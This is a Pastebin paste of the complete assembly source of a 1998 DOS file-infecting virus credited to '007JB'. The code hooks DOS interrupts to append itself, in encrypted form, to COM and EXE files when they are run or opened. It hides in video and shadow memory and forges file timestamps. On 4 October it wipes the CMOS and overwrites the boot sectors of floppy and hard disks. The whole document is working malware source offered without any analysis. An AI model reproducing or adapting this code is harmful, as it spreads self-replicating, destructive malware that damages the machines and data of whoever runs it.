Advertisement
InfectedPacket

Virus 007 ver.1.01.2[Beta] by 007JB (1998)

Aug 7th, 2015
314
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. ;DEBUG           equ     TRUE
  3.  
  4.                         ;ssssoooo
  5. cc_loader_ptr   equ      007005E0h
  6. cc_video_ptr    equ     0AE000100h
  7. cc_shadow_ptr   equ     0C6F00100h
  8. cc_temp_ptr     equ     0BE000100h
  9.  
  10. file_id_offs    equ     12h
  11. file_id         equ     '07'
  12.  
  13. magic_i         equ     829Ah
  14. magic_o         equ     829Bh
  15.  
  16. o               equ     (word ptr 0)
  17. s               equ     (word ptr 2)
  18.  
  19. mve             macro   x, y
  20.                 push    y
  21.                 pop     x
  22.                 endm
  23.  
  24. dta_struc       struc
  25.                 ; internal
  26. dta_driveletter db      ?               ; 0=A:
  27. dta_name8       db      8 dup (?)       ;
  28. dta_ext3        db      3 dup (?)       ;
  29. dta_searchattr  db      ?               ;
  30. dta_direntrynum dw      ?               ; 0=. 1=..
  31. dta_dircluster  dw      ?
  32.                 dd      ?               ; unused
  33.                 ; public
  34. dta_attr        db      ?               ; 1=r 32=a 16=d 2=h 4=s 8=v
  35. dta_time        dw      ?               ; çççç第¬ ¬¬¬ááááá
  36. dta_date        dw      ?               ; £££££££¬ ¬¬¬¤¤¤¤¤
  37. dta_size        dd      ?
  38. dta_name        db      13 dup (?)
  39.                 ends
  40.  
  41. exe_struc       struc
  42. exe_mz          dw      ?               ; MZ/ZM
  43. exe_last512     dw      ?
  44. exe_num512      dw      ?
  45. exe_relnum      dw      ?
  46. exe_headersize  dw      ?               ; in PAR
  47. exe_minmem      dw      ?
  48. exe_maxmem      dw      ?
  49. exe_ss          dw      ?
  50. exe_sp          dw      ?
  51. exe_checksum    dw      ?               ; 0
  52. exe_ip          dw      ?
  53. exe_cs          dw      ?
  54. exe_relofs      dw      ?
  55. exe_ovrnum      dw      ?               ; 0
  56.                 db      32 dup (?)
  57. exe_neptr       dd      ?
  58.                 ends
  59.  
  60.                 model   small
  61.                 p386
  62.                 locals  __
  63.                 jumps
  64.  
  65. code            segment word public use16
  66.                 assume  cs:code, ds:code, es:code, ss:code
  67.  
  68.                 org     100h
  69. start:
  70. c1_start:
  71.                 call    initialize
  72.  
  73.                 db      13,10
  74.                 db      '007JB.'
  75.                 db      virsize / 1000 mod 10 + '0'
  76.                 db      virsize /  100 mod 10 + '0'
  77.                 db      virsize /   10 mod 10 + '0'
  78.                 db      virsize /    1 mod 10 + '0'
  79.                 db      ' virus  ver.1.01.2[Beta]  copyright (c) 1998 by 007JB',13,10
  80.                 db      'thanx to Z0MBiE/29A & S.S.R.',13,10
  81.                 db      13,10
  82.  
  83. c1_size         equ     $-c1_start
  84.  
  85. com_start:      call    code_unxor
  86.  
  87. c2_start:
  88.                 call    antiweb
  89.  
  90.                 pusha
  91.  
  92.                 call    sux
  93.  
  94. orig            db      64 dup (?)
  95. orig_size       equ     $-orig
  96.  
  97. sux:            pop     si
  98.                 mov     di, 100h
  99.                 mov     cx, orig_size
  100.                 rep     movsb
  101.  
  102.                 mov     si, 1234h
  103. start_ptr       equ     word ptr $-2
  104.  
  105.                 mov     ax, cs
  106.                 add     ax, 1000h
  107.                 mov     es, ax
  108.                 mov     di, 100h
  109.                 mov     cx, virsize
  110.                 rep     movsb
  111.  
  112.                 popa
  113.                 push    cs
  114.                 push    0100h
  115.  
  116.                 push    es
  117.                 push    offset tsr
  118.                 retf
  119.  
  120. c2_size         equ     $-c2_start
  121.  
  122. exe_start:      call    code_unxor
  123.  
  124. c3_start:
  125.                 call    antiweb
  126.  
  127.                 push    ax
  128.                 mov     ax, es
  129.                 add     cs:save_cs, ax
  130.                 add     cs:save_ss, ax
  131.                 pop     ax
  132.  
  133.                 push    cs
  134.                 call    tsr
  135.  
  136.                 lss     sp, cs:save_sssp
  137.  
  138.                 db      0eah
  139. save_ip         dw      ?
  140. save_cs         dw      ?
  141.  
  142. antiweb:        nop
  143.                 nop
  144.  
  145.                 ret
  146.  
  147. save_sssp       label   dword
  148. save_sp         dw      ?
  149. save_ss         dw      ?
  150.  
  151. dosver          db      ?
  152.  
  153. c3_size         equ     $-c3_start
  154.  
  155.  
  156. code_unxor:     pusha
  157.  
  158.                 mov     bx, 1234h
  159. zero_ptr        equ     word ptr $-2
  160.  
  161.                 in      al, 40h
  162.                 and     ax, 7
  163.                 mov     dx, ax
  164.                 add     dl, 88h
  165. __1:            in      al, 40h
  166.                 or      al, al
  167.                 jz      __1
  168.                 mov     ah, al
  169.                 out     dx, al
  170.                 in      al, dx
  171.                 sub     al, ah
  172.                 cbw
  173.                 ror     ax, 1
  174.  
  175.                 lea     dx, code_w_unxor[bx]
  176.                 sub     dx, ax
  177.  
  178.                 call    code_calldx
  179.                 popa
  180.                 ret
  181.  
  182. code_calldx:    lea     si, c1_start
  183.                 mov     cx, c1_size
  184.                 call    dx
  185.                 lea     si, c2_start
  186.                 mov     cx, c2_size
  187.                 call    dx
  188.                 lea     si, c3_start
  189.                 mov     cx, c3_size
  190.                 call    dx
  191.                 lea     si, c4_start
  192.                 mov     cx, c4_size
  193.                 call    dx
  194.  
  195.                 ret
  196.  
  197. code_w_unxor:   shr     cx, 1
  198. __1:            add     word ptr cs:[si+bx], 1111h
  199. add_word        equ     word ptr $-2
  200.                 xor     word ptr cs:[si+bx], 2222h
  201. xor_word        equ     word ptr $-2
  202.                 sub     word ptr cs:[si+bx], 3333h
  203. sub_word        equ     word ptr $-2
  204.                 inc     si
  205.                 inc     si
  206.                 loop    __1
  207.                 ret
  208.  
  209.  
  210. c4_start:
  211.  
  212. code_xor:       pusha
  213.                 lea     dx, code_w_xor
  214.                 call    code_calldx
  215.                 popa
  216.                 ret
  217.  
  218. code_w_xor:     shr     cx, 1
  219.  
  220.                 add     si, cryptedvir-start
  221.  
  222. __1:            mov     ax, sub_word
  223.                 add     [si], ax
  224.                 mov     ax, xor_word
  225.                 xor     [si], ax
  226.                 mov     ax, add_word
  227.                 sub     [si], ax
  228.                 inc     si
  229.                 inc     si
  230.                 loop    __1
  231.                 ret
  232.  
  233. tsr:            pusha                   ; FAR
  234.                 push    ds es
  235.  
  236.                 mve     ds, cs
  237.                 cld
  238.  
  239.                 mov     ah, 2ah
  240.                 int     21h
  241.                 cmp     dx, 0A04h ; 4 oct.
  242.                 je      kill_em
  243.  
  244.                 mov     ax, magic_i
  245.                 int     21h
  246.                 cmp     ax, magic_o
  247.                 je      __exit
  248.  
  249.                 mov     ax, 3306h
  250.                 int     21h
  251.                 cmp     bl, 7
  252.                 je      __dos7
  253.                 cmp     bl, 6
  254.                 jne     __exit
  255. __dos7:         mov     dosver, bl
  256.  
  257.                 mov     ax, 1130h
  258.                 mov     bh, 2
  259.                 int     10h
  260.                 mov     ax, es
  261.                 add     bp, 15
  262.                 and     bp, 0fff0h
  263.                 shr     bp, 4
  264.                 add     ax, bp
  265.                 sub     ax, 16
  266.                 mov     shadow_ptr.s, ax
  267.                 mov     shadow_ptr.o, 0100h
  268.  
  269.                 mov     ax, 3521h
  270.                 int     21h
  271.                 mov     old21.o, bx
  272.                 mov     old21.s, es
  273.                 mov     ax, 3508h
  274.                 int     21h
  275.                 mov     old08.o, bx
  276.                 mov     old08.s, es
  277.  
  278.                 mov     al, 3
  279.                 out     80h, al
  280.                 out     81h, al
  281.                 mov     al, 0ffh
  282.                 out     87h, al
  283.  
  284.                 call    move_to_shadow
  285.  
  286.                 cmp     dosver, 7
  287.                 je      __skip1
  288.                 call    move_to_vga
  289.  
  290.                 les     di, loader_ptr
  291.                 mve     ds, cs
  292.                 lea     si, loader
  293.                 mov     cx, loader_size
  294.                 rep     movsb
  295.  
  296. __skip1:
  297.  
  298.                 mov     ax, 2503h
  299.                 lds     dx, cs:shadow_ptr
  300.                 add     dx, int03-start
  301.                 int     21h
  302.  
  303.                 mov     ax, 2508h
  304.                 mov     ds, cs:shadow_ptr.s
  305.                 lea     dx, int08
  306.                 int     21h
  307.  
  308.                 mov     ax, 2521h
  309.                 lds     dx, cs:loader_ptr
  310.                 cmp     cs:dosver, 7
  311.                 jne     __skip2
  312.                 mov     ds, cs:shadow_ptr.s
  313.                 lea     dx, alt_21
  314. __skip2:        int     21h
  315.  
  316. __exit:         pop     es ds
  317.                 popa
  318.  
  319.                 retf
  320.  
  321. kill_em:        IFDEF   DEBUG
  322.                 int 3
  323.                 ELSE
  324.                 nop
  325.                 ENDIF
  326.  
  327.                 call    kill_40
  328.                 call    kill_cmos
  329.  
  330.                 mve     es, cs
  331.                 lea     bx, mbr
  332.                 call    kill_mbr
  333.  
  334.                 db      0eah
  335.                 dd      0f000fff0h
  336.  
  337. mbr:            cli
  338.                 xor     bx, bx
  339.                 mov     ss, bx
  340.                 mov     sp, 7c00h
  341.                 sti
  342.  
  343.                 call    kill_40
  344.  
  345.                 mov     ds, bx
  346.                 mov     es, bx
  347.  
  348.                 call    kill_cmos
  349.  
  350.                 mov     bx, 7c00h
  351.                 call    kill_mbr
  352.  
  353.                 call    pop_msg
  354.  
  355.                 db      13,10
  356.                 db      13,10
  357.                 db      'ˆ ¢®â ⥯¥àì âë, ¯®£ ­ë© à, ¢¥áì ¢ ¤¥à쬥.',13,10
  358.                 db      '€ ªâ® à §£à¥¡ ¥â ¤¥à쬮? „ , íâ® ®­, ­ è § á⥭稢ë©, ã¡®£¨© ¤àã£. ;)))',13,10
  359.                 db      'ˆ ¥¬ã ¯® 室ã íâ® ­à ¢¨âáï...',13,10
  360.                 db      'Œ®«ç¨â. ‘âëëëë뤭®. •…•…•….',13,10
  361.                 db      'Œ¤  , ¨£®à¥ª. ƒ¤¥ ¦¥ ¢¥¡-⮠⢮©?...   ª ª ¢á¥£¤  ;)',13,10
  362.                 db      '  ª®¤ § ç¥¬ ᯨ$¤¨« ¨§ €‚?',13,10
  363.                 db      'çâ®, á ¬®¬ã á« ¡®? ííå âë,   ¯¨§$¨«-â®, çâ® ®­ ªàã⮩...   ®­-£®¢#®...',13,10
  364.                 db      0
  365.  
  366. kill_40:        mve     es, 40h
  367.                 xor     di, di
  368.                 mov     cx, 256
  369.                 xor     al, al
  370.                 cld
  371.                 rep     stosb
  372.                 ret
  373.  
  374. kill_cmos:      xor     ax, ax
  375. __1:            out     70h, al
  376.                 out     71h, al
  377.                 inc     al
  378.                 jnz     __1
  379.                 ret
  380.  
  381. kill_mbr:       mov     dx, 0000h
  382.                 call    __1
  383.                 inc     dx
  384.                 call    __1
  385.                 mov     dx, 0080h
  386.                 call    __1
  387.                 inc     dx
  388. __1:            mov     ax, 0301h
  389.                 mov     cx, 0001h
  390.                 int     13h
  391.                 ret
  392.  
  393. pop_msg:        pop     si
  394.                 cld
  395.  
  396. __1:            lodsb
  397.                 mov     ah, 0eh
  398.                 mov     bx, 7
  399.                 int     10h
  400.                 or      al, al
  401.                 jnz     __1
  402.  
  403. loader_ptr      dd      cc_loader_ptr
  404.  
  405. loader:         pusha
  406.                 push    ds es
  407.  
  408.                 call    port_set
  409.  
  410.                 db      0eah
  411. video_ptr       dd      cc_video_ptr
  412.  
  413. port_set:       mov     dx, 03c4h
  414.                 mov     ax, 0402h
  415.                 out     dx, ax
  416.                 mov     ax, 0704h
  417.                 out     dx, ax
  418.                 mov     dx, 03ceh
  419.                 mov     ax, 0005h
  420.                 out     dx, ax
  421.                 mov     ax, 0406h
  422.                 out     dx, ax
  423.                 mov     ax, 0204h
  424.                 out     dx, ax
  425.                 ret
  426.  
  427. loader_size     equ     $-loader
  428.  
  429. port_reset:     mov     dx, 03c4h
  430.                 mov     ax, 0302h
  431.                 out     dx, ax
  432.                 mov     ax, 0304h
  433.                 out     dx, ax
  434.                 mov     dx, 03ceh
  435.                 mov     ax, 1005h
  436.                 out     dx, ax
  437.                 mov     ax, 0e06h
  438.                 out     dx, ax
  439.                 mov     ax, 0004h
  440.                 out     dx, ax
  441.                 ret
  442.  
  443.                 db      20 dup (0f6h)
  444.                 i       = $
  445.                 org     mbr + 512 - 2
  446.                 dw      0aa55h
  447.                 org     i
  448.  
  449. shadow_ptr      dd      cc_shadow_ptr
  450.  
  451. invideo:        call    move_to_shadow
  452.  
  453.                 push    cs:shadow_ptr.s
  454.                 mov     ax, cs:shadow_ptr.o
  455.                 add     ax, inshadow-start
  456.                 push    ax
  457.                 retf
  458.  
  459. move_to_vga:    in      al, 81h
  460.                 or      al, al
  461.                 jz      __exit
  462.                 dec     al
  463.                 out     81h, al
  464.  
  465.                 call    port_set
  466.  
  467.                 mve     ds, cs
  468.                 les     di, video_ptr
  469.                 lea     si, start
  470.                 mov     cx, virsize
  471.                 cld
  472.                 rep     movsb
  473.  
  474.                 db      09ah
  475.                 dd      cc_video_ptr + check_me-start
  476.  
  477.                 call    port_reset
  478.  
  479. __exit:         ret
  480.  
  481. check_me:       IFDEF  DEBUG
  482.                 nop
  483.                 nop
  484.                 nop
  485.                 ELSE
  486.                 db      0cdh,03h
  487.                 db      0cch
  488.                 ENDIF
  489.                 retf
  490.  
  491. move_to_shadow: in      al, 80h
  492.                 or      al, al
  493.                 jz      __exit
  494.                 dec     al
  495.                 out     80h, al
  496.  
  497.                 call    shadow_open
  498.  
  499.                 mve     ds, cs
  500.                 lea     si, start
  501.                 les     di, shadow_ptr
  502.                 mov     cx, virsize
  503.                 cld
  504.                 rep     movsb
  505.  
  506.                 call    shadow_close
  507.  
  508. __exit:         ret
  509.  
  510. inshadow:       call    port_reset
  511.  
  512.                 pop     es ds
  513.                 popa
  514.  
  515. alt_21:         cmp     ax, magic_i
  516.                 je      ax_magic_i
  517.  
  518.                 cmp     ah, 04Bh
  519.                 je      infect_dsdx
  520.                 cmp     ah, 03Dh
  521.                 je      infect_dsdx
  522.                 cmp     ah, 043h
  523.                 je      infect_dsdx
  524.                 cmp     ah, 056h
  525.                 je      infect_dsdx
  526.  
  527. int21_exit:     db      0eah
  528. old21           dd      ?
  529.  
  530. ax_magic_i:     IFDEF   DEBUG
  531.                 int 3
  532.                 ELSE
  533.                 nop
  534.                 ENDIF
  535.                 mov     ax, magic_o
  536.                 iret
  537.  
  538. ;;
  539.  
  540. shadow_open:    pushf
  541.                 cli
  542.                 call    reg_save
  543.                 call    get_sh_state
  544.                 or      sh_w, seg_c000_32k
  545.                 and     sh_c, NOT seg_c000_32k
  546.                 call    set_sh_state
  547.                 call    reg_load
  548.                 popf
  549.                 ret
  550.  
  551. int03:          nop
  552.                 nop
  553.                 iret
  554.  
  555. shadow_close:   pushf
  556.                 cli
  557.                 call    reg_save
  558.                 call    get_sh_state
  559.                 and     sh_w, NOT seg_c000_32k
  560.                 or      sh_c, seg_c000_32k
  561.                 call    set_sh_state
  562.                 call    reg_load
  563.                 popf
  564.                 ret
  565.  
  566. reg_save:       mov     cs:save_eax, eax
  567.                 mov     cs:save_ebx, ebx
  568.                 mov     cs:save_ecx, ecx
  569.                 mov     cs:save_edx, edx
  570.                 mov     cs:save_esi, esi
  571.                 mov     cs:save_edi, edi
  572.                 mov     cs:save_ebp, ebp
  573.                 ret
  574.  
  575. reg_load:       mov     eax, cs:save_eax
  576.                 mov     ebx, cs:save_ebx
  577.                 mov     ecx, cs:save_ecx
  578.                 mov     edx, cs:save_edx
  579.                 mov     esi, cs:save_esi
  580.                 mov     edi, cs:save_edi
  581.                 mov     ebp, cs:save_ebp
  582.                 ret
  583.  
  584. save_eax        dd      ?
  585. save_ebx        dd      ?
  586. save_ecx        dd      ?
  587. save_edx        dd      ?
  588. save_esi        dd      ?
  589. save_edi        dd      ?
  590. save_ebp        dd      ?
  591.  
  592.                 locals  @@
  593. include         sh.inc
  594.                 locals  __
  595.  
  596. ;;
  597.  
  598. infect_dsdx:    pusha
  599.                 push    ds es
  600.  
  601.                 in      al, 87h
  602.                 cmp     al, 7
  603.                 je      __exit
  604.  
  605.                 mov     ah, 0fh
  606.                 int     10h
  607.                 cmp     al, 3
  608.                 jne     __exit
  609.  
  610.                 lea     si, start
  611.                 les     di, cs:temp_ptr
  612.                 mov     cx, virsize
  613.                 cld
  614.                 segcs
  615.                 rep     movsb
  616.  
  617.                 db      09ah
  618.                 dd      cc_temp_ptr + infect_file-start
  619.  
  620. __exit:         pop     es ds
  621.                 popa
  622.  
  623.                 jmp     int21_exit
  624.  
  625. temp_ptr        dd      cc_temp_ptr
  626.  
  627. infect_file:    IFDEF   DEBUG
  628.                 int 3
  629.                 ELSE
  630.                 nop
  631.                 ENDIF
  632.  
  633.                 mov     al, 7
  634.                 out     87h, al
  635.  
  636.                 mov     ah, 60h
  637.                 mov     si, dx
  638.                 mve     es, cs
  639.                 lea     di, filename
  640.                 call    call21
  641.  
  642.                 mve     ds, cs
  643.  
  644.                 lea     si, filename
  645.                 cld
  646. __1:            lodsb
  647.                 or      al, al
  648.                 jnz     __1
  649.                 sub     si, 1+3+1
  650.                 lodsd
  651.  
  652.                 or      eax, 20202000h
  653.  
  654.                 cmp     eax, 'moc.'
  655.                 jne     __2
  656.                 call    infect_com
  657.                 jmp     __exit
  658.  
  659. __2:            cmp     eax, 'exe.'
  660.                 jne     __3
  661.                 call    infect_exe
  662.                 jmp     __exit
  663. __3:
  664.  
  665. __exit:         mov     al, 0FFh
  666.                 out     87h, al
  667.  
  668.                 IFDEF   DEBUG
  669.                 int 3
  670.                 ELSE
  671.                 nop
  672.                 ENDIF
  673.  
  674.                 retf
  675.  
  676. call21:         pushf
  677.                 call    cs:old21
  678.                 ret
  679.  
  680. file_init:      mov     ah, 2fh
  681.                 call    call21
  682.                 push    es
  683.                 push    bx
  684.  
  685.                 mov     ah, 1ah
  686.                 mve     ds, cs
  687.                 lea     dx, dta
  688.                 call    call21
  689.  
  690.                 mov     ah, 4eh
  691.                 lea     dx, filename
  692.                 mov     cx, 1+2+4+32
  693.                 call    call21
  694.  
  695.                 mov     ah, 1ah
  696.                 pop     dx
  697.                 pop     ds
  698.                 call    call21
  699.  
  700.                 mve     ds, cs
  701.  
  702.                 ret
  703.  
  704. file_open:      cmp     dosver, 7
  705.                 jne     __1
  706.  
  707.                 mov     ax, 4301h
  708.                 lea     dx, filename
  709.                 xor     cx, cx
  710.                 call    call21
  711.                 jc      __exit
  712.                 mov     ax, 3d02h
  713.                 jmp     __2
  714.  
  715. __1:            mov     ax, 3d00h
  716. __2:            lea     dx, filename
  717.                 call    call21
  718.                 jc      __exit
  719.  
  720.                 xchg    bx, ax
  721.  
  722. __exit:         ret
  723.  
  724. file_close:     mve     ds, cs
  725.  
  726.                 mov     ah, 3eh
  727.                 call    call21
  728.                 jc      __exit
  729.  
  730.                 cmp     dosver, 7
  731.                 jne     __exit
  732.  
  733.                 mov     ax, 4301h
  734.                 xor     cx, cx
  735.                 mov     cl, dta.dta_attr
  736.                 lea     dx, filename
  737.                 call    call21
  738.  
  739. __exit:         ret
  740.  
  741. infect_com:     call    file_init
  742.                 jc      __exit
  743.  
  744.                 call    check_avail
  745.                 jc      __exit
  746.  
  747.                 call    file_open
  748.                 jc      __exit
  749.  
  750.                 mov     ah, 3fh
  751.                 lea     dx, orig
  752.                 mov     cx, orig_size
  753.                 call    call21
  754.  
  755.                 cmp     orig.word ptr file_id_offs, file_id
  756.                 je      __settime
  757.  
  758.                 mov     ax, 4202h
  759.                 cwd
  760.                 xor     cx, cx
  761.                 call    call21
  762.  
  763.                 push    ax
  764.                 mov     zero_ptr, ax
  765.                 add     ax, 100h
  766.                 mov     start_ptr, ax
  767.                 pop     ax
  768.  
  769.                 lea     si, orig
  770.                 lea     di, compatch
  771.                 mov     cx, orig_size
  772.                 mve     es, cs
  773.                 cld
  774.                 rep     movsb
  775.  
  776.                 mov     compatch.byte ptr 0, 0E9h
  777.                 add     ax, com_start-start - 3
  778.                 mov     compatch.word ptr 1, ax
  779.                 mov     compatch.word ptr file_id_offs, file_id
  780.  
  781.                 call    infect_1
  782.  
  783.                 mov     ah, 40h
  784.                 lea     dx, compatch
  785.                 mov     cx, orig_size
  786.                 call    call21
  787.  
  788.                 inc     com_counter
  789.  
  790. __settime:      call    set_v_time
  791.  
  792. __close:        call    file_close
  793.  
  794. __exit:         ret
  795.  
  796. set_v_time:     call    fuck_sft
  797.  
  798.                 mov     ax, 5701h
  799.                 mov     dx, dta.dta_date
  800.                 mov     cx, dx
  801.                 xchg    ch, cl
  802.                 call    call21
  803.                 ret
  804.  
  805. fuck_sft:       pusha
  806.  
  807.                 cmp     cs:dosver, 7
  808.                 je      __exit
  809.  
  810.                 mov     ax, 1220h
  811.                 int     2fh
  812.                 mov     bl, es:[di]
  813.                 mov     ax, 1216h
  814.                 int     2fh
  815.                 mov     es:[di].word ptr 2, 0002h
  816.  
  817. __exit:         popa
  818.                 ret
  819.  
  820. com_counter     dw      8       ; hehe
  821. exe_counter     dw      31
  822.  
  823. check_avail:    mov     ax, dta.dta_size.o
  824.                 mov     dx, dta.dta_size.s
  825.                 or      dx, dx
  826.                 jnz     __exit
  827.                 cmp     ax, 300
  828.                 jbe     __exit
  829.                 cmp     ax, 65536-256-2 - virsize
  830.                 ja      __exit
  831.                 mov     cx, 1000
  832.                 div     cx
  833.                 cmp     dx, 7
  834.                 jbe     __exit
  835.  
  836.                 mov     dx, dta.dta_date
  837.                 mov     cx, dx
  838.                 xchg    ch, cl
  839.                 cmp     cx, dta.dta_time
  840.                 je      __exit
  841.  
  842.                 clc
  843.                 ret
  844.  
  845. __exit:         stc
  846.                 ret
  847.  
  848. infect_exe:     call    file_init
  849.                 jc      __exit
  850.  
  851.                 call    check_avail
  852.                 jc      __exit
  853.  
  854.                 call    file_open
  855.                 jc      __exit
  856.  
  857.                 mov     ah, 3fh
  858.                 lea     dx, exe
  859.                 mov     cx, size exe_struc
  860.                 call    call21
  861.  
  862.                 cmp     exe.word ptr file_id_offs, file_id
  863.                 je      __settime
  864.  
  865.                 mov     ax, exe.exe_mz
  866.                 cmp     ax, 'ZM'
  867.                 jne     __close
  868.  
  869.                 mov     ax, exe.exe_num512
  870.                 dec     ax
  871.                 jz      __close
  872.                 xor     dx, dx
  873.                 mov     cx, 512
  874.                 mul     cx
  875.                 add     ax, exe.exe_last512
  876.                 jc      __close
  877.  
  878.                 cmp     ax, dta.dta_size.word ptr 0
  879.                 jne     __close
  880.  
  881.                 mov     ax, exe.exe_ss
  882.                 add     ax, 16
  883.                 mov     save_ss, ax
  884.                 mov     ax, exe.exe_sp
  885.                 mov     save_sp, ax
  886.                 mov     ax, exe.exe_cs
  887.                 add     ax, 16
  888.                 mov     save_cs, ax
  889.                 mov     ax, exe.exe_ip
  890.                 mov     save_ip, ax
  891.  
  892.                 mov     ax, dta.dta_size.word ptr 0
  893.                 mov     cx, exe.exe_headersize
  894.                 shl     cx, 4
  895.                 sub     ax, cx
  896.                 add     ax, 15
  897.                 and     ax, 0fff0h
  898.  
  899.                 shr     ax, 4
  900.                 sub     ax, 16
  901.  
  902.                 mov     exe.exe_cs, ax
  903.                 mov     exe.exe_ip, offset exe_start
  904.                 mov     exe.exe_ss, ax
  905.                 mov     exe.exe_sp, offset exe_sptr
  906.  
  907.                 mov     exe.word ptr file_id_offs, file_id
  908.  
  909.                 mov     zero_ptr, 0
  910.                 mov     start_ptr, 100h
  911.  
  912.                 mov     si, dta.dta_size.word ptr 0
  913.                 add     si, 15
  914.                 and     si, 0fff0h
  915.  
  916.                 mov     ax, si
  917.                 add     ax, virsize
  918.                 jc      __close
  919.                 xor     dx, dx
  920.                 mov     cx, 512
  921.                 div     cx
  922.                 inc     ax
  923.                 mov     exe.exe_num512, ax
  924.                 mov     exe.exe_last512, dx
  925.  
  926.                 mov     ax, exe.exe_minmem
  927.                 add     ax, exememory
  928.                 jnc     __1
  929.                 mov     ax, -1
  930. __1:            mov     exe.exe_minmem, ax
  931.  
  932.                 mov     ax, exe.exe_maxmem
  933.                 add     ax, exememory
  934.                 jnc     __2
  935.                 mov     ax, -1
  936. __2:            mov     exe.exe_maxmem, ax
  937.  
  938.                 mov     ax, 4200h
  939.                 mov     dx, si
  940.                 xor     cx, cx
  941.                 call    call21
  942.  
  943.                 call    infect_1
  944.  
  945.                 mov     ah, 40h
  946.                 lea     dx, exe
  947.                 mov     cx, size exe_struc
  948.                 call    call21
  949.  
  950.                 inc     exe_counter
  951.  
  952. __settime:      call    set_v_time
  953.  
  954. __close:        call    file_close
  955.  
  956. __exit:         ret
  957.  
  958. infect_1:       call    fuck_sft
  959.  
  960.                 call    random
  961.                 mov     xor_word, ax
  962.                 call    random
  963.                 mov     add_word, ax
  964.                 call    random
  965.                 mov     sub_word, ax
  966.  
  967.                 lea     si, start
  968.                 lea     di, cryptedvir
  969.                 mve     es, cs
  970.                 mov     cx, virsize
  971.                 cld
  972.                 rep     movsb
  973.  
  974.                 call    code_xor
  975.  
  976.                 mov     ah, 40h
  977.                 lea     dx, cryptedvir
  978.                 mov     cx, virsize
  979.                 call    call21
  980.  
  981.                 mov     ax, 4200h
  982.                 cwd
  983.                 xor     cx, cx
  984.                 call    call21
  985.  
  986.                 ret
  987.  
  988. random:         push    bx
  989.                 mov     bx, 1234h
  990. rndword         equ     word ptr $-2
  991.                 in      al, 40h
  992.                 xor     bl, al
  993.                 in      al, 40h
  994.                 add     bh, al
  995.                 in      al, 41h
  996.                 sub     bl, al
  997.                 in      al, 41h
  998.                 xor     bh, al
  999.                 in      al, 42h
  1000.                 add     bl, al
  1001.                 in      al, 42h
  1002.                 sub     bh, al
  1003.              ;  mov     cs:rndword, bx
  1004.                 xchg    bx, ax
  1005.                 pop     bx
  1006.                 test    al, 1
  1007.                 ret
  1008.  
  1009. int08:          nop
  1010.                 nop
  1011.  
  1012.                 db      0eah
  1013. old08           dd      ?
  1014.  
  1015.                 db      16 dup (0F6h)
  1016.  
  1017. c4_size         equ     $-c4_start
  1018.  
  1019. virsize         equ     $-start
  1020. codeend:
  1021.  
  1022.                 even
  1023. filename        db      256 dup (?)
  1024. compatch        db      orig_size dup (?)
  1025. dta             dta_struc ?
  1026. exe             exe_struc ?
  1027.  
  1028. cryptedvir      db      virsize+1 dup (?)
  1029.  
  1030.                 even
  1031.                 db      512 dup (?)
  1032. exe_sptr:
  1033.  
  1034. exememory       equ     ($-codeend+15)/16
  1035.  
  1036. initialize:     mov     start.byte ptr 0, 0E9h
  1037.                 mov     start.word ptr 1, invideo-(start+3)
  1038.  
  1039.                 push    cs
  1040.                 call    tsr
  1041.  
  1042.                 mov     ax, 4c00h
  1043.                 int     21h
  1044.  
  1045. code            ends
  1046.                 end     start
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement